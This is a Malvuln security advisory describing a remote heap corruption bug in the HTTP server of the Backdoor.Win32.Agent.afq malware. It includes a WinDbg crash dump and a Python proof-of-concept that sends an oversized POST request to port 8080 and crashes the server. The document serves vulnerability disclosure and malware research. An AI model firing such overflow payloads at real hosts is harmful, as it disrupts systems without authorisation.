Backdoor.Win32.Agent.afq malware suffers from a heap corruption vulnerability.
2e2878e4b44cb1edd0ffcd902d324dd9
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_C.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.afq
Vulnerability: Remote Heap Corruption
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. Third-party attackers who can reach the infected host can send a 2000 byte HTTP Post request, triggering a heap corruption overwriting ECX, EDX and AX (16-bit) part of the EAX register.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0190
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/27/2021
Memory Dump:
EAX : 00004141
EBX : 02B71208
ECX : 41414141
EDX : 41414141
EBP : 02A0FD30
ESP : 02A0FB70
ESI : 02B71210
EDI : 02B70000
EIP : 77AC2D6A ntdll.77AC2D6A
(1b1c.1048): Access violation - code c0000005 (first/second chance not available)
eax=0000f23c ebx=02781208 ecx=41414141 edx=41414141 esi=02781210 edi=02780000
eip=77ac2d6a esp=02cef1f0 ebp=02cef3b0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
77ac2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
77ac2d6a 8b09 mov ecx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77ac2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414141
READ_ADDRESS: 41414141
FOLLOWUP_IP:
msvcrt!signal+95
75746f35 59 pop ecx
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001048
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 77ac16b7 to 77ac2d6a
STACK_TEXT:
02cef3b0 77ac16b7 00000078 00000080 027802d4 ntdll!RtlpAllocateHeap+0x37a
02cef400 77ac13ee 00000000 00000000 00000078 ntdll!RtlpAllocateHeapInternal+0x2b7
02cef41c 75737250 02780000 00000000 00000078 ntdll!RtlAllocateHeap+0x3e
02cef43c 757376bb 00000078 0000000b 02780dc8 msvcrt!malloc+0x90
02cef454 75746f35 00000078 96d98a3c 00401000 msvcrt!_malloc_crt+0x18
02cef494 00401099 0000000b 00000000 00000000 msvcrt!signal+0x95
WARNING: Stack unwind information not available. Following frames may be wrong.
02cef4b4 771ad820 02cef580 1d76a8f9 00000000 Backdoor_Win32_Agent_afq_853754de6b8ffbe1321a8c91aab5c232+0x1099
02cef550 77b237e1 02cef580 77af2d82 02ceffcc KERNELBASE!UnhandledExceptionFilter+0x1a0
02ceffdc 77ae4a47 ffffffff 77b09ea9 00000000 ntdll!__RtlUserThreadStart+0x3ed99
02ceffec 00000000 00402950 000000f4 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~2s; .ecxr ; kb
SYMBOL_STACK_INDEX: 5
SYMBOL_NAME: msvcrt!signal+95
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: msvcrt
IMAGE_NAME: msvcrt.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141_c0000005_msvcrt.dll!signal
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_msvcrt!signal+95
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8080
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="POST /"+"A"*2000+" HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10000\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Agent.afq / Remote Heap Corruption")
print("MD5: 853754de6b8ffbe1321a8c91aab5c232")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).